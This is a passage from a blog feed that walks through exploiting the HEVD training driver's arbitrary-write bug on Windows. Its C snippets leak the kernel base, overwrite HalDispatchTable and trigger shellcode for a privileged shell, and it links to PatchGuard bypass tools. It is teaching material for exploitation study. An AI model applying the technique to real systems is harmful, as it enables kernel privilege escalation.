&lt;p&gt;For those unfamiliar with the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.osdev.org&#x2F;Hardware_Abstraction_Layer&quot;&gt;Hardware Abstraction Layer (or HAL)&lt;&#x2F;a&gt;,
it is a software layer aiming to provide a common unified interface to heterogeneous hardware (motherboard, CPUs, network cards, etc.). On Windows, it resides in &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;kernel&#x2F;windows-kernel-mode-hal-library&quot;&gt;&lt;code&gt;hal.dll&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; that is invoked by &lt;code&gt;ntoskrnl.exe&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&#x2F;tmp&#x2F;win81&#x2F;mnt&#x2F;Windows&#x2F;System32&#x2F; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;hugsy@ph0ny&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]  [&lt;&#x2F;span&gt;&lt;span&gt;02:43&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;➜&lt;&#x2F;span&gt;&lt;span&gt;  py list_imports.py .&#x2F;ntoskrnl.exe
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Listing&lt;&#x2F;span&gt;&lt;span&gt; IMPORT table for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&#x2F;ntoskrnl.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; HAL.dll
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x140349070&lt;&#x2F;span&gt;&lt;span&gt; : HalGetVectorInput
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x140349078&lt;&#x2F;span&gt;&lt;span&gt; : HalSetEnvironmentVariable
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x140349080&lt;&#x2F;span&gt;&lt;span&gt; : HalGetEnvironmentVariable
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x140349088&lt;&#x2F;span&gt;&lt;span&gt; : HalInitializeOnResume
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x140349090&lt;&#x2F;span&gt;&lt;span&gt; : HalAllocateCrashDumpRegisters
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x140349098&lt;&#x2F;span&gt;&lt;span&gt; : HalGetMemoryCachingRequirements
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x1403490a0&lt;&#x2F;span&gt;&lt;span&gt; : HalProcessorIdle
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x1403490a8&lt;&#x2F;span&gt;&lt;span&gt; : HalGetInterruptTargetInformation
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x1403490b0&lt;&#x2F;span&gt;&lt;span&gt; : KeFlushWriteBuffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Speaking of the HAL, &lt;code&gt;hal.dll&lt;&#x2F;code&gt; has some very interesting properties
exploitation-wise. Among others, my first attempt was to overwrite the
pointers table located at &lt;code&gt;0xFFD00000&lt;&#x2F;code&gt; (on x86 and x64). Actually the range
&lt;code&gt;0xFFD00000-0xFFE00000&lt;&#x2F;code&gt; is interesting because since the HAL driver is loaded so early (actually
even before the Windows memory manager) during the boot process, it’ll require
known static addresses to map and store information collected about the hardware
in memory. Researchers such as
&lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;d_olex&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@d_olex&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 have explored this path as early as 2011 to use it as an exploit vector as Win7
SP1 used to have this section static and with Read&#x2F;Write&#x2F;Execute permission
(although it exists on Windows 8 and up, it is “only” Read&#x2F;Write)&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-www-hal-interrupt.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-www-hal-interrupt.png&quot;

    

    
    title=&quot;Windows 8.1 HAL section&quot;
    alt=&quot;Windows 8.1 HAL section&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: Looking for references about HAL interrupt table corruption, I came across this recent and fantastic
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;labs.bluefrostsecurity.de&#x2F;blog&#x2F;2017&#x2F;05&#x2F;11&#x2F;windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique&#x2F;&quot;&gt;blog post&lt;&#x2F;a&gt; by &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;NicoEconomou&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@NicoEconomou&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 that covers exactly this approach. I might dedicate a future post applying this technique to HEVD as this table is also an excellent target for WWW scenario.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;building-the-exploit&quot;&gt;Building the exploit&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: Some convenience functions of this exploit are located in
the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;hevd&#x2F;blob&#x2F;feb6d67ca5f5f3c0718042b42e22adbeee6aee62&#x2F;KePwnLib.h&quot;&gt;&lt;code&gt;KePwnLib.h&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; library I wrote. Feel free to use it!&lt;&#x2F;p&gt;
&lt;p&gt;The very first part of the exploit is very similar to what we did in the former post, with the new IOCTL code:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Get the device handle
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;IOCTL_HEVD_ARBITRARY_OVERWRITE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x22200b
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;HANDLE hDevice = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CreateFileA&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;HackSysExtremeVulnerableDriver&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, ...);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Also prepare our shellcode in userland
&lt;&#x2F;span&gt;&lt;span&gt;ULONG_PTR lpShellcode = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AllocatePageWithShellcode&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And when sending the IOCTL, pass in a buffer of 2 ULONG_PTR (index 0 is the
&lt;em&gt;What&lt;&#x2F;em&gt;, 1 is the &lt;em&gt;Where&lt;&#x2F;em&gt;).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Overwrite the 1st DWORD pointed by WHERE
&lt;&#x2F;span&gt;&lt;span&gt;ULONG_PTR lpBufferIn[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;] = {WHAT, WHERE};
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DeviceIoControl&lt;&#x2F;span&gt;&lt;span&gt;(hDevice, IOCTL_HEVD_ARBITRARY_OVERWRITE, lpBufferIn, sizeof(lpBufferIn), ...);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Overwrite the 2nd DWORD pointed by WHERE
&lt;&#x2F;span&gt;&lt;span&gt;lpBufferIn[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;] = {WHAT+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, WHERE+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DeviceIoControl&lt;&#x2F;span&gt;&lt;span&gt;(hDevice, IOCTL_HEVD_ARBITRARY_OVERWRITE, lpBufferIn, sizeof(lpBufferIn), ...);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And if we test with dummy values:
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-www-testing-exploit.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-www-testing-exploit.png&quot;

    

    
    title=&quot;exploit-test&quot;
    alt=&quot;exploit-test&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;WHAT&lt;&#x2F;code&gt; corresponds to our shellcode (&lt;code&gt;lpShellcode&lt;&#x2F;code&gt;), which we know. Now we need the
&lt;code&gt;WHERE&lt;&#x2F;code&gt; (i.e. &lt;code&gt;nt!HalDispatchTable[1]&lt;&#x2F;code&gt;)… which a kernel address! As we know, any
mapped address can be translated to &lt;code&gt;MmappedAddress = ImageBase + offset&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;get-the-kernel-image-base-address-from-undocumented-systeminformationclass&quot;&gt;Get the Kernel Image Base Address from undocumented SystemInformationClass&lt;&#x2F;h2&gt;
&lt;p&gt;By reading &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;recon.cx&#x2F;2013&#x2F;slides&#x2F;Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf&quot;&gt;Alex Ionescu - I got 99 problems but a kernel pointer ain’t one (REcon 2013)&lt;&#x2F;a&gt; I discovered that by passing a System Information Class of &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.geoffchappell.com&#x2F;studies&#x2F;windows&#x2F;km&#x2F;ntoskrnl&#x2F;api&#x2F;ex&#x2F;sysinfo&#x2F;class.htm&quot;&gt;&lt;code&gt;SystemModuleInformation&lt;&#x2F;code&gt; (0xb)&lt;&#x2F;a&gt; to &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;desktop&#x2F;ms724509(v=vs.85).aspx&quot;&gt;&lt;code&gt;NtQuerySystemInformation&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, Windows will leak all kernel modules information (full path, image base address, etc.), including the kernel itself! So finding the image base of the kernel &lt;code&gt;ntoskrnl.exe&lt;&#x2F;code&gt; can be done as follow (in very approximate pseudo-code - just to give an idea):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;SystemModuleInformation  (SYSTEM_INFORMATION_CLASS)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xb
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Modules = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;malloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x100000&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;status = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NtQuerySystemInformation&lt;&#x2F;span&gt;&lt;span&gt;(SystemModuleInformation, Modules, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x100000&lt;&#x2F;span&gt;&lt;span&gt;, ...);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NT_SUCCESS&lt;&#x2F;span&gt;&lt;span&gt;(status)){
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i&amp;lt;Modules-&amp;gt;NumberOfModules; i++){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;strstr&lt;&#x2F;span&gt;&lt;span&gt;(Modules-&amp;gt;Modules[i].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;FullPathName&lt;&#x2F;span&gt;&lt;span&gt;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ntoskrnl.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)!=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Found Kernel as Module[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;] -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, i, Modules-&amp;gt;Modules[i].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;FullPathName&lt;&#x2F;span&gt;&lt;span&gt;, Modules-&amp;gt;Modules[i].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ImageBase&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;       KernelImageBaseAddress = Modules-&amp;gt;Modules[i].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ImageBase&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;All structures used are very well defined and documented in the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;processhacker.sourceforge.net&#x2F;doc&#x2F;ntldr_8h_source.html#l00511&quot;&gt;&lt;code&gt;Process Hacker tool source code&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. If you go with your implementation of the exploit, you might want to read that first.&lt;&#x2F;p&gt;
&lt;p&gt;Now we’ve got the &lt;code&gt;ImageBase&lt;&#x2F;code&gt; component.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;get-the-offset-from-the-kernel-image&quot;&gt;Get the offset from the kernel image&lt;&#x2F;h2&gt;
&lt;p&gt;This step is actually much easier. All we need to do is to :&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;load the kernel image &lt;code&gt;ntoskrnl.exe&lt;&#x2F;code&gt; and store its base address&lt;&#x2F;li&gt;
&lt;li&gt;retrieve the address of &lt;code&gt;HalDispatchTable&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;subtract the two pointers found above&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Or again, in very pseudo-C:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;HMODULE hNtosMod = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;LoadLibrary&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ntoskrnl.exe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;ULONG lNtHalDispatchTableOffset = (ULONG)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetProcAddress&lt;&#x2F;span&gt;&lt;span&gt;(hNtosMod, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;HalDispatchTable&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) - (ULONG)hNtosMod;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And yeah, that’s all! Now that we’ve also got the offset, we know that
&lt;code&gt;HalDispatchTableInKernel = KernelImageBaseAddress + lNtHalDispatchTableOffset&lt;&#x2F;code&gt;,
which is the &lt;code&gt;WHERE&lt;&#x2F;code&gt; condition we needed above! Therefore, we have everything to
overwrite &lt;code&gt;nt!HalDispatchTable[1]&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;triggering-the-corrupted-hal-entry&quot;&gt;Triggering the corrupted HAL entry&lt;&#x2F;h2&gt;
&lt;p&gt;Now that we’ve successfully overwritten the &lt;code&gt;HalDispatchTable&lt;&#x2F;code&gt;, we need a way
to force a call to the corrupted pointer in &lt;code&gt;nt!HalDispatchTable[1]&lt;&#x2F;code&gt;.
As aforementioned, that can be done with the undocumented
&lt;code&gt;nt!NtQueryIntervalProfile&lt;&#x2F;code&gt;. So the last piece of our exploit can be written
as simply as&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;NtQueryIntervalProfile = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetProcAddress&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetModuleHandle&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TEXT&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ntdll.dll&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)));
&lt;&#x2F;span&gt;&lt;span&gt;ULONG dummy1=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, dummy2;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NtQueryIntervalProfile&lt;&#x2F;span&gt;&lt;span&gt;(dummy1, &amp;amp;dummy2);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;assembling-all-the-pieces&quot;&gt;Assembling all the pieces&lt;&#x2F;h2&gt;
&lt;p&gt;The clean final exploit can be found &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;hevd&#x2F;blob&#x2F;c04e46ababbb78913ef228c31389370f17d8e48a&#x2F;ArbitraryOverwrite&#x2F;exploit.c&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-www-final-exploit.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-www-final-exploit.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;You can now enjoy the privileged shell so well deserved!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;about-patchguard&quot;&gt;About PatchGuard&lt;&#x2F;h2&gt;
&lt;p&gt;Windows XP&#x2F;2003 and up use
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Kernel_Patch_Protection&quot;&gt;Kernel Patch Protection (aka PatchGuard)&lt;&#x2F;a&gt; to
protect sensitive locations, including the SSDT and HAL (among other). Since this
technique will modify the HAL table, PG will detect it and force a&lt;&#x2F;p&gt;
&lt;p&gt;Although PG bypass is not the subject of this post, it should be noted that
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;uninformed.org&#x2F;index.cgi?v=3&amp;amp;a=3&amp;amp;p=7&quot;&gt;several&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;uninformed.org&#x2F;index.cgi?v=6&amp;amp;a=1&amp;amp;p=25&quot;&gt;public&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20180312140501&#x2F;http:&#x2F;&#x2F;fyyre.ru&#x2F;vault&#x2F;bootloader_v2.txt&quot;&gt;papers&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hfiref0x&#x2F;UPGDSED&quot;&gt;tools&lt;&#x2F;a&gt; cover ways to bypass it.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h1&gt;
&lt;p&gt;In this chapter we’ve covered how to exploit Arbitrary Write conditions in the kernel to achieve code execution, by leveraging undocumented procedures and functions that leak valuable kernel information straight from userland. Many more leaks exist, and I definitely recommend watching &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;aionescu&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@aionescu&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
.&lt;&#x2F;p&gt;
&lt;p&gt;See you next time ✌&lt;&#x2F;p&gt;
&lt;h2 id=&quot;related-links&quot;&gt;Related links&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.coresecurity.com&#x2F;core-labs&#x2F;articles&#x2F;abusing-gdi-for-ring0-exploit-primitives&quot;&gt;Abusing GDI for Ring0 exploit primitives&lt;&#x2F;a&gt;:
Another interesting way to exploit WWW conditions by Diego Juarez through GDI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.agner.org&#x2F;optimize&#x2F;calling_conventions.pdf&quot;&gt;Calling conventions for different C++ compilers and operating systems&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.geoffchappell.com&#x2F;studies&#x2F;windows&#x2F;km&quot;&gt;An excellent reference of Windows internal structures by Geoff Chappell&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;uninformed.org&#x2F;index.cgi?v=3&amp;amp;a=3&amp;amp;p=9&quot;&gt;Uninformed - PatchGuard &amp;amp; SSDT&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dl.packetstormsecurity.net&#x2F;papers&#x2F;bypass&#x2F;NES-BypassWin7KernelAslr.pdf&quot;&gt;Bypassing Windows 7 Kernel ASLR&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>First exploit in Windows Kernel (HEVD)</title>
        <published>2017-08-18T00:00:00+00:00</published>
        <updated>2017-08-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-08-18-first-exploit-in-windows-kernel-hevd/"/>
        <id>https://blahcat.github.io/2017-08-18-first-exploit-in-windows-kernel-hevd/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-08-18-first-exploit-in-windows-kernel-hevd/">&lt;p&gt;Hi there ✋&lt;&#x2F;p&gt;
&lt;p&gt;This post is the third chapter of this series, where we dive into Windows
